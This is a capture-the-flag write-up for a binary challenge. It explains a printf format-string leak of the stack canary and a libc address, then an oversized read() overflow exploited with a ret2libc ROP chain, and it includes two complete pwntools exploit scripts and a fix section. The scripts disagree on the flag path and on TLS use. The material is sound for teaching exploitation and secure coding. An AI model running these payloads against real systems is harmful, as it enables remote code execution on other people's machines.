Flash CTF – Loose Lips

Recon

checksec on the binary shows everything turned on:

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled

So no GOT overwrite (full RELRO), no shellcode (NX), and the return address is guarded by a canary on a randomized (PIE) image. Running it, the program does two things:

status> hello
logged: hello
Send the raw 512-byte telemetry frame:

It echoes the status line back under logged:, then asks for a 512-byte frame.

Two bugs

The echo is a format string bug. The console prints your line back so you can confirm what got logged, but it does it with printf(line) and no format of its own. Type %p %p %p as the status line and you get stack values back instead of literal text.

The second bug is in the frame read. The 512-byte frame is real this time — the buffer genuinely holds it — but the read size is wrong. Disassembling main:

sub    $0x318,%rsp          ; frame
mov    %fs:0x28,%rax        ; canary
mov    %rax,0x308(%rsp)     ; stored at rsp+0x308
...
lea    0x200(%rsp),%rdi     ; status line buffer (the printf target)
...
mov    %rsp,%rsi            ; frame buffer = rsp+0  (256 int16 samples = 512 bytes)
mov    $0x400,%edx          ; read up to 1024 bytes  <-- bug
call   read@plt

The buffer is sized for 256 16-bit samples (512 bytes), but the read length is computed as sizeof(int32_t) * 256 = 0x400 — the sensor’s old 32-bit sample width. So the read accepts the full legitimate 512-byte frame and then another 512 bytes on top of it: a clean stack overflow. The canary sits 0x308 above the buffer, and the format string is exactly the tool to leak it.

Stage 1: leak the canary and libc

Dump stack slots with positional specifiers (%N$p) to find what’s where:

status> %103$p|%105$p
logged: 0x....00|0x7f....

Slot 103 is a value ending in 00, the classic look of a stack canary (its low byte is always zero) — it’s the qword at rsp+0x308. Slot 105 is a 0x7f... pointer two slots higher (rsp+0x318), the saved return address into libc’s startup code (__libc_start_call_main). The slot numbers follow directly from the layout: the format buffer is at rsp+0x200, and %6$p reads rsp+0, so a stack offset of X shows up at slot 6 + X/8. If a different toolchain shifts things, dump a range of %N$p once and pick them back out: the canary is the ...00 value and the libc pointer is the 0x7f... one. In the provided libc.so.6 that return address sits at offset 0x2a1ca, so:

libc_base = leaked_slot105 - 0x2a1ca

With the libc base we have system, the string "/bin/sh", and a pop rdi; ret gadget, all by adding their offsets in the shipped libc.

Stage 2: overflow and ret2libc

The layout from the read buffer is:

rsp+0x000   samples[512]  (overflow starts here)
rsp+0x308   canary
rsp+0x310   8 bytes padding
rsp+0x318   saved return address  <- ROP starts here

Fill to the canary, drop the leaked canary back in place (so __stack_chk_fail never fires), pad to the return slot, and chain a ret2libc:

pop rdi ; ret
&"/bin/sh"
ret              ; 16-byte stack alignment for system()
system

One detail: the buggy read(0, samples, 0x400) returns either at EOF or after 1024 bytes. If you close stdin to make it return, you also close the shell’s stdin. So pad the whole payload out to exactly 0x400 bytes; the read returns on its own and the shell inherits an open stdin.

Exploit

from pwn import *
context.update(arch="amd64", os="linux")
libc = ELF("dist/libc.so.6", checksec=False)
io = remote(sys.argv[1], int(sys.argv[2]), ssl=True)

io.recvuntil(b"status> ")
io.sendline(b"%103$p|%105$p")
io.recvuntil(b"logged: ")
canary, libc_ret = (int(x, 16) for x in io.recvline().split(b"|"))
libc.address = libc_ret - 0x2a1ca

rop = ROP(libc)
pop_rdi = rop.find_gadget(["pop rdi", "ret"])[0]
ret = rop.find_gadget(["ret"])[0]
binsh = next(libc.search(b"/bin/sh\x00"))

payload = flat(b"A"*0x308, canary, b"A"*8, pop_rdi, binsh, ret, libc.sym["system"])
payload = payload.ljust(0x400, b"A")
io.recvuntil(b"telemetry frame:")
io.send(payload)

io.sendline(b"\ncat /home/ctf/flag.txt")
print(io.recvall(timeout=3).decode())

Fix

Don’t pass user input as a format string (printf("%s", line)), and size the read off the buffer itself, not a stale constant (read(0, samples, sizeof samples)). The frame read was left computing its length from the sensor’s old 32-bit sample width after the buffer was narrowed to 16-bit, so it pulled in twice what the buffer holds. Either fix alone keeps the box shut; the bug is that both the format string and the mismatched read were left open in the same function.

exploit.py

#!/usr/bin/env python3
"""
Loose Lips exploit.

Stage 1: the status line is printed with printf(line), a format-string bug. We
use it to leak the stack canary (%103$p) and a saved libc return address
(%105$p).
Stage 2: the frame read sizes itself off the old 32-bit sample width, so it
reads 0x400 bytes into a 512-byte (256 x int16) buffer -- a 512-byte stack
overflow. We rebuild the canary in place and ret2libc into system("/bin/sh").

Local:  python3 exploit.py
Remote: python3 exploit.py HOST PORT
"""
import sys
from pwn import *

context.update(arch="amd64", os="linux", log_level="info")

HERE = os.path.dirname(os.path.abspath(__file__))
DIST = os.path.join(HERE, "..", "dist")
libc = ELF(os.path.join(DIST, "libc.so.6"), checksec=False)

# Offset of the leaked saved return address inside the provided libc (it lands
# in __libc_start_call_main). Read straight off the shipped libc.so.6.
LIBC_RET_OFFSET = 0x2a1ca
OFF_TO_CANARY = 0x308        # frame buffer (rsp+0) -> canary (rsp+0x308)
FRAME_READ = 0x400           # bytes the buggy read() pulls in (256 * sizeof int32)


def start():
    if len(sys.argv) >= 3:
        return remote(sys.argv[1], int(sys.argv[2]))
    ld = os.path.join(DIST, "ld-linux-x86-64.so.2")
    return process([ld, os.path.join(DIST, "telemetry")],
                   env={"LD_LIBRARY_PATH": DIST})


io = start()

# ---- stage 1: leak ----
io.recvuntil(b"status> ")
io.sendline(b"%103$p|%105$p")
io.recvuntil(b"logged: ")
canary, libc_ret = (int(x, 16) for x in io.recvline().strip().split(b"|"))
libc.address = libc_ret - LIBC_RET_OFFSET
log.info("canary    = %#x", canary)
log.info("libc base = %#x", libc.address)

rop = ROP(libc)
pop_rdi = rop.find_gadget(["pop rdi", "ret"])[0]
ret = rop.find_gadget(["ret"])[0]
binsh = next(libc.search(b"/bin/sh\x00"))

# ---- stage 2: overflow + ret2libc ----
payload = flat(
    b"A" * OFF_TO_CANARY,
    canary,             # restore the canary so __stack_chk_fail stays quiet
    b"A" * 8,           # padding up to the saved return address
    pop_rdi, binsh,
    ret,                # keep the stack 16-byte aligned for system()
    libc.sym["system"],
)
# Pad to exactly FRAME_READ so the single read() returns without us closing
# stdin, leaving the new shell's stdin open to receive commands.
payload = payload.ljust(FRAME_READ, b"A")
io.recvuntil(b"telemetry frame:")
io.send(payload)

io.recvline()
# Send a newline first to flush any leftover frame bytes, then read the flag.
# The service runs chrooted, so the flag sits at /app/flag.txt.
io.sendline(b"\ncat /app/flag.txt")
print(io.recvall(timeout=3).decode(errors="replace").strip())